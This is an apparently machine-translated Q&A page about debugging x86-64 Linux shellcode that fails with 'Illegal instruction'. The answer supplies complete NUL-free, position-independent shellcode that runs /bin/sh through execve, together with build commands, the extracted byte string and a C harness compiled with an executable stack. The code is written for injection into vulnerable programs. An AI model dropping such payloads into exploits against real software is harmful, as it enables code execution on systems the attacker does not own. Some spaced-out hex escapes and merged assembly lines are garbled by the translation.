Shellcode: istruzione illegale

Oct 19 2020

Sono nuovo nello sviluppo di shellcode e non riesco a capire perché lo shellcode generato non funzioni come previsto.

Codice assemblatore:

Basato su una risposta alla mia domanda precedente.

.section .data
cmd:    .string "/bin/sh"               /* command string */
hand:   .string "-c"                    /* command arguments string */
args:   .string "ls -al"                /* arguments string */
argv:   .quad cmd                       /* array of command, command arguments and arguments */
        .quad hand
        .quad args
        .quad 0

.section .text
.globl _start
_start:
        movq    $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0,             %rdx    /* save NULL to rdx */

        syscall                         /* make system call */

Codice di prova C:

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

Produzione:

Illegal instruction

Dettagli: Kali Linux GNU / Linux i386 x86_64

Risposte

2 MichaelPetch Oct 19 2020 at 01:02

Il problema con il tuo codice è che la stringa della shell che hai generato non include nessuno dei dati. E i dati includono puntatori assoluti, quindi non sono indipendenti dalla posizione, quindi non funzionerebbero se li spostassi .texte li includessi. Una volta eseguito all'interno di un altro programma come stai facendo nel codice C , il programma tenterà di trovare dati che non esistono e in posizioni di memoria fisse che non si applicano al programma sfruttabile che stai eseguendo all'interno.

Penso che potresti avere un altro problema che causa l' istruzione illegale . Non mostri come costruisci il tuo programma C , ma mi chiedo se è a 32 bit e il tuo codice shell è a 64 bit. Sto cominciando a pensare che il tuo programma C potrebbe essere stato compilato come un programma a 32 bit e l' istruzione Illegal potrebbe essere perché non puoi eseguire in modo affidabile il codice a 64 bit (il codice della shell) in un programma a 32 bit. Ad esempio, l' SYSCALListruzione è un codice operativo non valido in un programma a 32 bit su CPU non AMD. Questa è solo un'ipotesi in assenza di ulteriori dettagli su come compilare / assemblare / collegare il codice della shell e il programma C.


Dovrai generare codice indipendente dalla posizione (PIC) in modo che possa essere eseguito ovunque una volta caricato nello stack. I tuoi dati dovranno essere inseriti all'interno del segmento con il codice. Il codice deve anche evitare di generare il carattere NUL (0x00) poiché ciò terminerebbe prematuramente una stringa se fornito come input dell'utente a un programma sfruttabile effettivo.

Una versione del codice che potrebbe essere utilizzata per tali scopi potrebbe essere simile a:

shellcode.s :

# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.

.section .text
.globl _start
_start:
    jmp overdata                 # Mix code and DATA in same segment

# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh"            # Program to run
name_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c"                 # Program argument
arg1_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls"                 # Program Argument
arg2_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code

overdata:
    xor  %eax, %eax              # RAX = 0

    # All references to the data before our code will use a negative offset from RIP
    # and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
    # in the code. We use RIP relative addressing so the code will be position
    # independent once loaded in memory.

    # Zero terminate each of the strings
    mov  %al, arg2_nul(%rip)     
    mov  %al, arg1_nul(%rip) 
    mov  %al, name_nul(%rip)

    lea  name(%rip), %rdi        # RDI = pointer to program name string

    push %rax                    # NULL terminate the program argument array
    leaq arg2(%rip), %rsi
    push %rsi                    # Push address of the 3rd program argument on stack
    lea  arg1(%rip), %rsi
    push %rsi                    # Push address of the 2nd program argument on stack
    push %rdi                    # Push address of the program name on stack as 1st arg
    mov  %rsp, %rsi              # RSI = Pointer to the program argument array

    mov  %rax, %rdx              # RDX = 0 = NULL envp parameter

    mov $59, %al                 # RAX = execve system call number

    syscall

Puoi generare una stringa in stile C con:

as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

Il hexdumpcomando precedente produrrebbe:

\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05

Noterai che non ci sono \x00caratteri diversi dal tuo codice. Puoi usare questa stringa direttamente in un programma C come:

exploit.c :

int main(void)
{
    char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";

    int (*ret)() = (int(*)())shellcode;
    ret();

    return 0;
}

Questo deve essere compilato e collegato con uno stack eseguibile:

gcc -zexecstack exploit.c -o exploit

strace ./exploitgenererebbe una EXECVEchiamata di sistema simile a:

execve ("/ bin / sh", ["/ bin / sh", "-c", "ls"], NULL) = 0


Nota : costruirò personalmente le stringhe a livello di codice sullo stack in modo simile al codice in un'altra risposta di Stackoverflow che ho scritto.